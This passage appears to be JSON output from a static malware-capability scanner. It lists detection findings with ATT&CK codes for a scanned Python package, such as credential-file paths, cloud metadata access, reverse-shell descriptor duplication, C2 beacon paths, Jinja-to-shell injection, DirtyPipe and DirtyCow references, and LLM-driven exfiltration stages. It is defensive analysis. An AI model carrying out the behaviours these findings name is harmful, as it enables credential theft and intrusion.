"objectives/command-and-control/infrastructure/domain/malicious::php-gate", "atk": "T1041", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "PHP gate endpoint path marker", "from": [ { "file": 117 } ] }, { "id": "micro-behaviors/communications/http/response::http-versions", "conf": 0.75, "crit": 3, "desc": "HTTP protocol version strings", "from": [ { "file": 75 } ] }, { "id": "objectives/discovery/system/fingerprint/hardware::python-platform-uname", "atk": "T1082", "mbc": "E1082", "conf": 0.8, "crit": 3, "desc": "Collects comprehensive system hardware and", "from": [ { "file": 36 } ] }, { "id": "objectives/credential-access/cloud/datastore::quoted-private-key-field", "atk": "T1552.001,T1555", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "Quoted private_key document field", "from": [ { "file": 14 } ] }, { "id": "micro-behaviors/fs/directory/traverse::find-type-file", "atk": "T1083", "mbc": "E1083", "conf": 0.82, "crit": 3, "desc": "Runs find to enumerate regular files" }, { "id": "micro-behaviors/data/serialize/envelope::json-payload-field", "conf": 0.9, "crit": 3, "desc": "JSON object payload field fragment", "from": [ { "file": 45 } ] }, { "id": "metadata/package/testing/presence/harness::unittest-module", "conf": 0.7, "crit": 2, "desc": "References the Python unittest module", "from": [ { "file": 15 } ] }, { "id": "micro-behaviors/time/sleep/interval::sleep-interval-before-call", "conf": 0.65, "crit": 3, "desc": "Sleep follows an interval configuration term", "from": [ { "file": 42 } ] }, { "id": "micro-behaviors/process/create/shell/runner::python-run-command-call", "conf": 0.85, "crit": 3, "desc": "Calls run_command helper", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/data/manipulation::untrusted-content-data-boundary-en", "conf": 0.97, "crit": 3, "desc": "Untrusted-data boundary in English" }, { "id": "micro-behaviors/data/db/config::db-key-secret", "conf": 0.85, "crit": 1, "desc": "Connection secret key", "from": [ { "file": 21 } ] }, { "id": "well-known/lib/format/conda-package::sphinx-epub-marker", "conf": 0.98, "crit": 3, "desc": "Sphinx EPUB builder marker", "from": [ { "file": 24 } ] }, { "id": "micro-behaviors/data/serialize/yaml::yaml-load-call", "conf": 0.9, "crit": 3, "desc": "Python yaml.load call" }, { "id": "micro-behaviors/data/encode/base32::python-b32encode-call", "mbc": "C0026", "conf": 0.93, "crit": 3, "desc": "Python calls the Base32 encoder", "from": [ { "file": 121 } ] }, { "id": "objectives/command-and-control/remote-command/tasking::rat-input-capture-command--keylog", "atk": "T1105", "mbc": "B0030", "conf": 0.86, "crit": 3, "desc": "RAT input capture command (keylog)", "from": [ { "file": 139 } ] }, { "id": "micro-behaviors/crypto/hash/mining::mining-keyword", "conf": 0.8, "crit": 3, "desc": "Mining keyword variants", "from": [ { "off": 17186, "file": 12, "line": 449 }, { "file": 126 }, { "off": 67627, "file": 131, "line": 1817 } ], "uses": [ 531, 744, 935 ] }, { "id": "micro-behaviors/communications/socket/connect::socket-connect-method", "conf": 0.85, "crit": 3, "desc": "Python socket-like connect call", "from": [ { "off": 2412, "file": 60, "line": 73 }, { "off": 20626, "file": 72, "line": 630 }, { "off": 2810, "file": 75, "line": 85 }, { "off": 66642, "file": 136, "line": 1722 } ], "uses": [ 1334 ] }, { "id": "micro-behaviors/data/serialize/json::json-loads-call", "conf": 0.9, "crit": 3, "desc": "Parses JSON data with Python", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/data/control-flow/loop::python-full-byte-search-loop", "conf": 0.92, "crit": 3, "desc": "Python loops over all byte values", "from": [ { "file": 190 } ] }, { "id": "micro-behaviors/communications/http/request/tasking::http-task-liveness-field", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Structured object contains a liveness field", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/communications/http/url/endpoint::health-check-path", "conf": 0.9, "crit": 3, "desc": "HTTP health-check endpoint path", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/process/interpreter/shell::bin-sh", "conf": 0.6, "crit": 3, "desc": "/bin/sh shell interpreter path reference", "from": [ { "file": 143 } ] }, { "id": "objectives/anti-static/obfuscation/payload/polymorphic::llm-sandbox-evasion-target", "atk": "T1027", "conf": 0.92, "crit": 3, "desc": "Sandbox evasion target", "from": [ { "file": 120 } ] }, { "id": "micro-behaviors/crypto/certificate/usage::pem-end", "conf": 0.7, "crit": 2, "desc": "References PEM certificate footer", "from": [ { "file": 203 } ] }, { "id": "micro-behaviors/crypto/hash/hmac::hmac-sha1-operation", "conf": 0.93, "crit": 3, "desc": "HMAC-SHA1 operation marker", "from": [ { "file": 123 } ] }, { "id": "micro-behaviors/communications/icmp/ping::python-ping-shell-call", "conf": 0.92, "crit": 3, "desc": "Python shell call runs ping" }, { "id": "micro-behaviors/communications/http/services/github::github-graphql-path-option", "conf": 0.94, "crit": 3, "desc": "GitHub GraphQL request path option", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/communications/ipc/agent-hook::agent-hooks-config-key", "conf": 0.9, "crit": 3, "desc": "AI agent hooks config key", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/fs/proc/info/path::process-pid-stdin-fd-path", "conf": 0.88, "crit": 3, "desc": "Access process standard input via /proc", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/data/serialize/json::comprehension-parse", "conf": 0.88, "crit": 3, "desc": "List comprehension parses JSON lines", "from": [ { "file": 47 } ] }, { "id": "objectives/impact/dos/udp::flooding-string", "atk": "T1498", "mbc": "B0042", "conf": 0.9, "crit": 3, "desc": "Flooding status string printed during attack", "from": [ { "file": 71 } ] }, { "id": "metadata/package/testing/harness/unit::python-unittest-import", "conf": 0.95, "crit": 3, "desc": "Python unittest import", "from": [ { "file": 158 } ] }, { "id": "micro-behaviors/data/control-flow/analysis::python-for-range-len-loop", "conf": 0.4, "crit": 3, "desc": "Python for-range-over-len(X) loop" }, { "id": "objectives/persistence/system/daemon/path-hidden::rc-local-hidden-system-bin--rx-2", "atk": "T1543", "conf": 0.92, "crit": 3, "desc": "rc.local path marker", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/dns/raw::dns-qname-terminator", "conf": 0.8, "crit": 3, "desc": "DNS qname null terminator pattern", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/communications/ipc/agent-hook::agent-hook-command-key", "conf": 0.9, "crit": 3, "desc": "Agent hook config maps a command key", "from": [ { "file": 22 } ] }, { "id": "objectives/privilege-escalation/elevation-control/uac-bypass/hijack::eventvwr-exe", "atk": "T1548.002", "conf": 0.7, "crit": 4, "desc": "eventvwr.exe invocation (UAC bypass binary)", "from": [ { "file": 129 } ] }, { "id": "objectives/impact/ui/manipulation/lockscreen-keywords::system-locked-phrase", "conf": 0.6, "crit": 3, "desc": "\"system...locked\" phrase", "from": [ { "file": 186 } ] }, { "id": "micro-behaviors/process/enumerate/shell::ps-aux", "atk": "T1057", "conf": 0.6, "crit": 3, "desc": "ps aux command" }, { "id": "objectives/command-and-control/remote-command/dispatch::remote-tool-invoke-path", "atk": "T1059.006", "conf": 0.95, "crit": 3, "desc": "Remote tool invocation request", "from": [ { "file": 61 } ] }, { "id": "micro-behaviors/communications/http/url/endpoint::rest-file-tree-endpoints", "atk": "T1071.001", "mbc": "C0002", "conf": 0.86, "crit": 3, "desc": "REST file tree endpoints", "from": [ { "file": 119 } ] }, { "id": "micro-behaviors/communications/http/authorization-header::basic-auth", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "Basic authentication", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/process/interpreter/python::dunder-import-call", "atk": "T1059.006", "mbc": "E1059", "conf": 0.85, "crit": 3, "desc": "Python __import__ call" }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::dirtypipe-detected", "atk": "T1068", "mbc": "E1068", "conf": 0.95, "crit": 4, "desc": "References DirtyPipe CVE-2022-0847", "from": [ { "off": 45442, "file": 129, "line": 1032 } ], "uses": [ 3, 523 ] }, { "id": "micro-behaviors/fs/path/application/prefix::container-app-script-path", "conf": 0.9, "crit": 3, "desc": "Script file under a container app root", "from": [ { "file": 162 } ] }, { "id": "well-known/lib/network/public-suffix-list::psl-azurewebsites", "conf": 0.9, "crit": 3, "desc": "Public suffix azurewebsites.net", "from": [ { "file": 93 } ] }, { "id": "metadata/file/string/cloud::gcp-service-account-token-path", "conf": 0.9, "crit": 3, "desc": "GCP service account access token path", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/client/library::urllib-request", "conf": 0.8, "crit": 3, "desc": "Imports Python urllib.request HTTP client", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/process/create/shell/spawn::cmd-exe", "atk": "T1059.003", "mbc": "E1059.003", "conf": 0.6, "crit": 3, "desc": "References cmd.exe (Windows Command Prompt)", "from": [ { "file": 132 } ], "uses": [ 265 ] }, { "id": "micro-behaviors/communications/http/post::python-httpclient-class", "atk": "T1071.001", "mbc": "C0002", "conf": 0.94, "crit": 3, "desc": "Python http.client HTTP(S) transport", "from": [ { "file": 102 } ] }, { "id": "objectives/execution/interpreter/eval/remote::jinja-os-command-sink", "atk": "T1059.006,T1190", "conf": 0.98, "crit": 4, "desc": "Jinja object traversal reaches shell" }, { "id": "well-known/app/network/openssh::openssh-package", "conf": 0.98, "crit": 3, "desc": "OpenSSH package context", "from": [ { "file": 88 }, { "file": 102 }, { "file": 129 }, { "file": 143 } ], "uses": [ 682 ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-directory-literal", "conf": 0.8, "crit": 3, "desc": "References the user SSH directory", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/process/create/subprocess::call-ast", "atk": "T1059.006", "mbc": "C0017", "conf": 0.85, "crit": 3, "desc": "Runs a process with subprocess.call" }, { "id": "objectives/anti-static/obfuscation/string/reverse::base32-decode-ref", "atk": "T1027", "mbc": "B0032", "conf": 0.6, "crit": 3, "desc": "base64.b32decode reference", "from": [ { "file": 121 } ] }, { "id": "micro-behaviors/os/env/config::messaging-service-token-key", "conf": 0.82, "crit": 3, "desc": "Messaging service token config key", "from": [ { "file": 88 } ] }, { "id": "micro-behaviors/communications/http/request/client::xmlhttprequest-word", "conf": 0.4, "crit": 3, "desc": "References the XMLHttpRequest HTTP client", "from": [ { "file": 9 } ] }, { "id": "objectives/credential-access/cloud/token/files::azure-config", "atk": "T1552.001", "conf": 0.85, "crit": 3, "desc": "Azure CLI token cache path", "from": [ { "file": 133 } ] }, { "id": "micro-behaviors/data/db/sql::sql-drop-object", "conf": 0.8, "crit": 3, "desc": "DROP SQL object syntax reference", "from": [ { "file": 33 } ] }, { "id": "objectives/evasion/security-bypass/policy/web-admin::encoded-parent-dir-traversal", "atk": "T1190", "mbc": "E1190", "conf": 0.9, "crit": 4, "desc": "URL-encoded parent-directory traversal", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/os/env/secret-name::python-env-get-call", "conf": 0.8, "crit": 3, "desc": "Python reads an environment variable", "from": [ { "file": 5 } ] }, { "id": "micro-behaviors/communications/ssh/keys::authorized-keys-path-construction", "conf": 0.9, "crit": 3, "desc": "Builds an authorized_keys path", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/data/decode/base64::standard-base64-alphabet-table", "conf": 0.88, "crit": 3, "desc": "Embeds the standard Base64 alphabet table", "from": [ { "file": 123 } ] }, { "id": "micro-behaviors/process/create/shell/spawn::cmd-slash-c", "conf": 1.0, "crit": 2, "desc": "cmd /c command execution", "from": [ { "file": 132 } ] }, { "id": "metadata/file/catalog/service::finance-service-names", "conf": 0.82, "crit": 1, "desc": "Finance and payment service names", "from": [ { "file": 18 } ], "uses": [ 409 ] }, { "id": "objectives/supply-chain/hidden-payload/staging::build-hook-absolute-temp-marker", "atk": "T1195.002,T1027,T1105", "conf": 0.9, "crit": 3, "desc": "References an absolute temporary path" }, { "id": "micro-behaviors/communications/http/url/path::loopback-http-target", "conf": 0.9, "crit": 3, "desc": "HTTP request targets loopback address", "uses": [ 1257, 1290 ] }, { "id": "objectives/command-and-control/channel/tunnel/proxy::python-socks-data-message", "atk": "T1572", "conf": 0.88, "crit": 3, "desc": "Python SOCKS data message", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/fs/path/secret-config::orchestration-credentials", "atk": "T1552.001", "conf": 0.94, "crit": 3, "desc": "Orchestration credential paths", "from": [ { "off": 29748, "file": 91, "line": 747 }, { "off": 857, "file": 133, "line": 27 } ], "uses": [ 350 ] }, { "id": "objectives/discovery/system/profile::colab-project-id", "atk": "T1082", "conf": 0.6, "crit": 3, "desc": "Harvesting Colab Project ID", "from": [ { "file": 119 } ] }, { "id": "micro-behaviors/os/service/configure::service-auto-start-argument", "atk": "T1543.003", "conf": 0.9, "crit": 3, "desc": "Windows service automatic-start argument", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/communications/ssh/client::password-auth-method", "atk": "T1021.004", "conf": 0.7, "crit": 3, "desc": "SSH password authentication method string", "from": [ { "file": 2 } ] }, { "id": "objectives/discovery/host/geo::city-field", "atk": "T1016", "conf": 0.5, "crit": 3, "desc": "City JSON field (geo profiling)", "from": [ { "file": 47 } ] }, { "id": "micro-behaviors/data/control-flow/error-handling::python-permission-error-handler", "atk": "T1027", "mbc": "C0027", "conf": 0.9, "crit": 3, "desc": "Python PermissionError except handler", "from": [ { "file": 129 } ] }, { "id": "objectives/credential-access/browser/session-hijack::http-request-cookie-header", "atk": "T1071.001", "conf": 0.92, "crit": 3, "desc": "Attaches a Cookie header to an HTTP request", "from": [ { "off": 14916, "file": 134, "line": 316 }, { "file": 137 } ], "uses": [ 1104 ] }, { "id": "micro-behaviors/os/package-manager/audit::npm-audit-command", "conf": 0.96, "crit": 3, "desc": "References npm audit command", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/crypto/library/blockchain/client::crypto-permutation-word", "conf": 0.9, "crit": 3, "desc": "Crypto permutation marker", "from": [ { "file": 121 } ] }, { "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords--docker", "conf": 0.86, "crit": 3, "desc": "References the Docker container engine", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/http/request/client::urllib-json-request-body", "conf": 0.9, "crit": 3, "desc": "urllib JSON request with body", "from": [ { "file": 47 } ], "uses": [ 377, 849, 1150 ] }, { "id": "objectives/credential-access/cloud/token/metadata::aws-metadata-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "AWS instance metadata endpoint reference", "from": [ { "file": 45 }, { "file": 118 }, { "file": 119 }, { "file": 133 }, { "file": 143 } ], "uses": [ 390 ] }, { "id": "micro-behaviors/communications/ip/endpoint::ftp-port-21", "conf": 0.6, "crit": 3, "desc": "FTP service port number", "from": [ { "file": 16 } ] }, { "id": "micro-behaviors/communications/http/device-code::approved-status-field", "conf": 0.93, "crit": 3, "desc": "Approved status field", "from": [ { "file": 14 } ] }, { "id": "objectives/execution/automation/autonomous::llm-exfiltration-data", "atk": "T1059,T1587.004", "conf": 0.9, "crit": 3, "desc": "LLM data exfiltration stage", "from": [ { "file": 19 } ] }, { "id": "objectives/execution/interpreter/eval/remote::jinja-builtins-traversal", "atk": "T1059.006,T1190", "conf": 0.98, "crit": 4, "desc": "Jinja traversal reaches Python builtins" }, { "id": "micro-behaviors/os/pam/auth::pam-libraries", "conf": 0.6, "crit": 3, "desc": "PAM library references", "from": [ { "file": 96 } ], "uses": [ 132 ] }, { "id": "micro-behaviors/os/security/defender::defender-product-name-reference", "conf": 0.85, "crit": 3, "desc": "Microsoft Defender product name reference", "from": [ { "file": 125 } ] }, { "id": "objectives/command-and-control/infrastructure/operator::victim-ref", "conf": 0.7, "crit": 3, "desc": "Victim reference near command or session term", "from": [ { "file": 19 } ] }, { "id": "well-known/tool/development/cloud-dev::gcloud-command-token", "conf": 0.9, "crit": 3, "desc": "gcloud command token", "from": [ { "file": 133 } ] }, { "id": "micro-behaviors/communications/http/auth::session-identifier-field", "conf": 0.93, "crit": 3, "desc": "Serialized session identifier field", "from": [ { "file": 105 } ] }, { "id": "micro-behaviors/crypto/library/blockchain/exchange::crypto-exchange-watch-method-context", "conf": 0.9, "crit": 3, "desc": "Crypto exchange watch method", "from": [ { "file": 63 } ] }, { "id": "micro-behaviors/fs/directory/traverse::traverse-walk", "conf": 0.66, "crit": 2, "desc": "Traverse filesystem hierarchy (os.walk)", "from": [ { "file": 13 } ] }, { "id": "objectives/command-and-control/infrastructure/tracking::command-field", "conf": 0.7, "crit": 3, "desc": "Command tasking field in schema", "from": [ { "file": 22 } ] }, { "id": "objectives/discovery/network/scan/http::sensitive-web-extension-list-secrets--rx-1", "atk": "T1595", "conf": 0.8, "crit": 3, "desc": "Matches '160'", "from": [ { "file": 2 } ] }, { "id": "metadata/package/ecosystem::pkginfo-license-expression", "conf": 0.9, "crit": 3, "desc": "Declares Python license expression", "from": [ { "file": 218 } ] }, { "id": "objectives/lateral-movement/exploit/scanner::internal-cloud-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Cloud metadata endpoint probe payload", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/communications/proxy/socks::socks-port-literal", "atk": "T1090", "mbc": "C0001", "conf": 0.5, "crit": 3, "desc": "SOCKS URL uses port 1080", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/communications/proxy/socks::socks5-proto", "atk": "T1090", "mbc": "C0001", "conf": 0.6, "crit": 3, "desc": "SOCKS5 protocol reference", "from": [ { "file": 72 } ] }, { "id": "micro-behaviors/communications/http/url/forge::public-code-forge-url", "conf": 0.9, "crit": 3, "desc": "References a public code-forge URL", "from": [ { "file": 29 } ] }, { "id": "micro-behaviors/data/db/sql::information-schema-ref", "conf": 1.0, "crit": 3, "desc": "SQL information_schema reference", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/data/serialize/schema-object::host-field-key", "conf": 0.9, "crit": 3, "desc": "JSON-like host identity field", "from": [ { "file": 23 } ] }, { "id": "metadata/file/catalog/service::cloud-saas-service-names", "conf": 0.6, "crit": 1, "desc": "Cloud SaaS service names", "from": [ { "file": 7 } ], "uses": [ 95, 505, 920 ] }, { "id": "objectives/exfiltration/http/agent::llm-http-destination", "atk": "T1041", "conf": 0.94, "crit": 3, "desc": "Remote HTTP destination", "from": [ { "file": 189 } ] }, { "id": "micro-behaviors/communications/http/post::url-encoded-content-type", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "Uses URL-encoded HTTP form content", "from": [ { "file": 45 } ] }, { "id": "objectives/discovery/cloud/metadata::cloud-metadata-access", "conf": 0.85, "crit": 1, "desc": "Cloud metadata endpoint reference", "from": [ { "off": 21733, "file": 45, "line": 525 }, { "file": 118 }, { "off": 8094, "file": 119, "line": 199 }, { "off": 661, "file": 133, "line": 20 }, { "file": 143 } ], "uses": [ 5, 390, 1213 ] }, { "id": "micro-behaviors/os/package-manager/install::pip-installation", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "Python package installation via pip", "from": [ { "file": 88 } ], "uses": [ 107 ] }, { "id": "objectives/collection/file-targeting/filter::credential-file-extension", "atk": "T1005,T1083", "conf": 0.92, "crit": 3, "desc": "Credential-like filename extension", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/data/serialize/envelope::command-assignment-key", "conf": 0.4, "crit": 1, "desc": "Command field or assignment key", "from": [ { "file": 20 } ] }, { "id": "objectives/anti-static/obfuscation/multi-layer::python-base64-carrier-metric", "atk": "T1027", "mbc": "B0032", "conf": 0.88, "crit": 3, "desc": "Base64-like Python carrier", "from": [ { "file": 130 } ] }, { "id": "micro-behaviors/fs/temp/directory::python-temporary-directory-context", "conf": 0.9, "crit": 3, "desc": "Uses a Python TemporaryDirectory context", "from": [ { "file": 163 } ] }, { "id": "micro-behaviors/communications/http/user-agent::browser-mozilla-5-0", "conf": 0.7, "crit": 3, "desc": "References Mozilla/5.0 User-Agent prefix", "from": [ { "file": 42 } ] }, { "id": "metadata/file/encoded::embedded-code-candidates-6", "conf": 0.8, "crit": 3, "desc": "Source has 6+ code-like string candidates", "from": [ { "file": 14 } ] }, { "id": "micro-behaviors/communications/http/url/query::formatted-identifier-query-value", "conf": 0.9, "crit": 3, "desc": "URL query formats identifier value", "from": [ { "file": 127 } ] }, { "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-6", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "Authorized-keys or shadow-file path literal", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/http/webhook::discord-webhook-configuration", "conf": 0.9, "crit": 3, "desc": "Discord webhook configuration text", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/fs/file/copy::shutil-copytree", "conf": 0.95, "crit": 3, "desc": "Python recursively copies a directory tree", "from": [ { "file": 147 } ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::python-platform-machine", "atk": "T1082", "conf": 0.7, "crit": 3, "desc": "Queries CPU architecture with platform.machine()", "from": [ { "file": 35 } ] }, { "id": "micro-behaviors/communications/http/url/cdn::jsdelivr-asset", "atk": "T1071.001", "mbc": "C0002", "conf": 0.82, "crit": 3, "desc": "References a jsDelivr frontend asset URL", "from": [ { "file": 79 } ] }, { "id": "micro-behaviors/data/archive/open/tar::python-tarfile-open", "atk": "T1560.001", "conf": 0.9, "crit": 3, "desc": "Python opens tar archive", "from": [ { "file": 205 } ] }, { "id": "micro-behaviors/fs/path/check::python-os-path-isdir-symbol", "conf": 0.86, "crit": 3, "desc": "Python os.path.isdir path test", "from": [ { "file": 88 } ] }, { "id": "objectives/execution/automation/autonomous::llm-encryption-data", "atk": "T1059,T1587.004", "conf": 0.9, "crit": 3, "desc": "LLM file encryption stage", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-urlopen-call", "conf": 0.82, "crit": 3, "desc": "Calls Python urllib urlopen", "from": [ { "file": 7 } ], "uses": [ 115, 1148, 1174 ] }, { "id": "well-known/tool/detection/security-scanner::php-threat-scanner-context", "conf": 0.96, "crit": 3, "desc": "Defensive PHP threat scanner context", "from": [ { "file": 71 } ], "uses": [ 547 ] }, { "id": "objectives/supply-chain/recon-exfil/pipeline::gha-interesting-secret-keywords--rx-1", "atk": "T1195.002, T1552.001", "conf": 0.9, "crit": 3, "desc": "NPM or Docker credential variable name", "from": [ { "file": 124 } ] }, { "id": "micro-behaviors/communications/socket/receive::socket-data-transfer", "atk": "T1071", "mbc": "C0001", "conf": 0.7, "crit": 3, "desc": "Socket data transfer operations", "from": [ { "file": 25 }, { "off": 34339, "file": 43, "line": 873 }, { "off": 2997, "file": 60, "line": 87 }, { "file": 72 }, { "off": 3350, "file": 75, "line": 98 }, { "off": 25902, "file": 102, "line": 691 } ], "uses": [ 365, 387, 473, 509 ] }, { "id": "objectives/execution/automation/autonomous::llm-credential-harvest", "atk": "T1059,T1587.004", "conf": 0.9, "crit": 3, "desc": "LLM credential harvest stage", "from": [ { "file": 4 } ] }, { "id": "objectives/credential-access/cloud/container::python-serviceaccount-path-reference", "atk": "T1552.001", "mbc": "E1552", "conf": 0.94, "crit": 3, "desc": "Python references Kubernetes token files", "from": [ { "file": 133 } ] }, { "id": "objectives/anti-static/obfuscation/code-metrics/identifiers::python-benchmark-basename-atom", "atk": "T1027", "mbc": "B0032", "conf": 0.95, "crit": 3, "desc": "Python benchmark-style basename", "from": [ { "file": 16 } ] }, { "id": "micro-behaviors/process/create/subprocess::call", "atk": "T1059.006", "mbc": "E1059.006", "conf": 0.75, "crit": 3, "desc": "subprocess.call call" }, { "id": "micro-behaviors/data/db/sql::sql-keywords", "conf": 0.5, "crit": 3, "desc": "Contains several SQL statement types", "from": [ { "file": 45 } ], "uses": [ 683, 860, 1126 ] }, { "id": "micro-behaviors/process/create/script/automation::playwright-python-sync-api-import", "atk": "T1059", "conf": 0.95, "crit": 3, "desc": "Imports the Python Playwright sync API", "from": [ { "file": 18 } ] }, { "id": "micro-behaviors/communications/ip/proxy::cloudflare-172-64-71-source-literal", "conf": 0.85, "crit": 3, "desc": "Cloudflare proxy IP (172.64-71 range)", "from": [ { "file": 131 } ] }, { "id": "micro-behaviors/communications/dns/connect::dns-port-tuple", "conf": 0.75, "crit": 3, "desc": "Port 53 in connection tuple", "from": [ { "file": 75 } ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::cve-2016-5195", "atk": "T1068", "conf": 0.95, "crit": 4, "desc": "DirtyCow CVE reference", "from": [ { "file": 129 } ] }, { "id": "metadata/package/ecosystem::pkginfo-name-field", "conf": 0.9, "crit": 2, "desc": "Declares Python package name", "from": [ { "file": 218 } ] }, { "id": "objectives/evasion/indicator-removal/telemetry::canary-token-target-name", "atk": "T1562.001", "conf": 0.94, "crit": 3, "desc": "Canary-token target name", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/communications/http/oauth::oauth-redirect-state-pair", "conf": 0.9, "crit": 3, "desc": "OAuth redirect and state parameters", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/communications/url/encoded::inline-image-data-uri-context", "atk": "T1027", "mbc": "B0032", "conf": 0.95, "crit": 3, "desc": "Contains an inline image data URI", "from": [ { "file": 142 } ] }, { "id": "micro-behaviors/fs/search::find-from-filesystem-root", "conf": 0.94, "crit": 3, "desc": "Sweeps every file from the filesystem root" }, { "id": "micro-behaviors/process/create/subprocess::subprocess-suppresses-stdio", "atk": "T1059.006", "mbc": "C0017", "conf": 0.94, "crit": 3, "desc": "Python subprocess stdio suppression", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/os/env/cloud::aws-secret-access-key-var", "conf": 0.86, "crit": 3, "desc": "AWS secret-key environment name reference", "from": [ { "file": 122 } ] }, { "id": "micro-behaviors/communications/http/websocket::websocket-lower", "atk": "T1071.001", "mbc": "C0002", "conf": 0.5, "crit": 3, "desc": "websocket lowercase reference", "from": [ { "file": 43 } ] }, { "id": "micro-behaviors/communications/http/services/cloud::repeated-google-cloud-provider-name", "conf": 0.82, "crit": 3, "desc": "Repeated Google Cloud provider name", "from": [ { "file": 131 } ] }, { "id": "objectives/credential-access/theft/keywords::password-upper", "conf": 0.45, "crit": 3, "desc": "PASSWORD credential label", "from": [ { "file": 2 } ] }, { "id": "objectives/execution/trigger/repository::git-hook-path-reference", "conf": 0.97, "crit": 3, "desc": "References a Git hook path" }, { "id": "objectives/evasion/fileless/memory::proc-self-fd-dup-slash", "atk": "T1620", "conf": 0.5, "crit": 3, "desc": "/proc/self/fd/ path fragment", "from": [ { "file": 53 } ] }, { "id": "metadata/file/catalog/service::service-name-slack", "conf": 0.82, "crit": 3, "desc": "Slack service name", "from": [ { "file": 7 } ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-shadow-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Account database path marker", "from": [ { "file": 2 } ] }, { "id": "metadata/package/files/wheel-sdist::setup-py-trailing-whitespace", "conf": 0.72, "crit": 3, "desc": "setup.py has trailing whitespace", "from": [ { "file": 86 } ] }, { "id": "micro-behaviors/fs/path/secret-config::kube-config", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "Kubernetes config path", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/data/control-flow/membership::not-in-membership-check", "conf": 0.3, "crit": 3, "desc": "Python not-in membership check", "from": [ { "file": 4 } ] }, { "id": "micro-behaviors/process/create/exec::cmd-exe-reference", "conf": 0.8, "crit": 3, "desc": "References Windows cmd.exe interpreter", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/process/create/workers::parallel-thread-executor", "conf": 0.88, "crit": 3, "desc": "Uses a thread or async task executor", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/data/serialize/json::json-load-call", "conf": 0.9, "crit": 3, "desc": "Python json.load call", "from": [ { "file": 13 } ] }, { "id": "micro-behaviors/data/encode/base64::b64encode-call", "conf": 0.9, "crit": 3, "desc": "Encodes data with Python base64.b64encode()", "from": [ { "file": 43 } ] }, { "id": "micro-behaviors/os/service/control::systemctl-word", "conf": 0.7, "crit": 3, "desc": "References systemctl service manager" }, { "id": "micro-behaviors/data/source/dynamic/reflect::frame-globals-text", "conf": 0.88, "crit": 3, "desc": "Python frame globals access" }, { "id": "micro-behaviors/communications/ip/endpoint::common-service-port", "conf": 0.6, "crit": 3, "desc": "Common service port number", "from": [ { "file": 16 } ], "uses": [ 282, 694, 1110 ] }, { "id": "objectives/command-and-control/beacon/network/http::script-api-beacon-path", "atk": "T1071.001", "mbc": "B0030", "conf": 0.93, "crit": 4, "desc": "Scripted HTTP /api/beacon C2 path", "from": [ { "file": 117 } ] }, { "id": "micro-behaviors/communications/dns/doh::doh-quad9-ip", "atk": "T1071.004", "mbc": "C0011", "conf": 0.7, "crit": 3, "desc": "Quad9 DoH IP endpoint", "from": [ { "file": 31 } ] }, { "id": "objectives/command-and-control/reverse-shell/dup::python-dup2", "conf": 0.85, "crit": 3, "desc": "Python file descriptor duplication (os.dup2)", "from": [ { "file": 152 } ] }, { "id": "objectives/lateral-movement/brute-force/password::netscaler-default-users--superadmin", "atk": "T1110.001", "conf": 0.9, "crit": 3, "desc": "NetScaler default users (superadmin)", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/os/api-resolution/dynamic::python-spec-from-file-location", "conf": 0.9, "crit": 3, "desc": "Loads Python module from source file", "from": [ { "file": 101 } ] }, { "id": "micro-behaviors/os/privilege/elevation::runas-string", "conf": 0.9, "crit": 3, "desc": "References the Windows ShellExecute runas verb", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/socket/send::socket-send-method", "atk": "T1071", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "Python socket-like send call", "from": [ { "file": 25 }, { "off": 20951, "file": 72, "line": 639 } ], "uses": [ 1210 ] }, { "id": 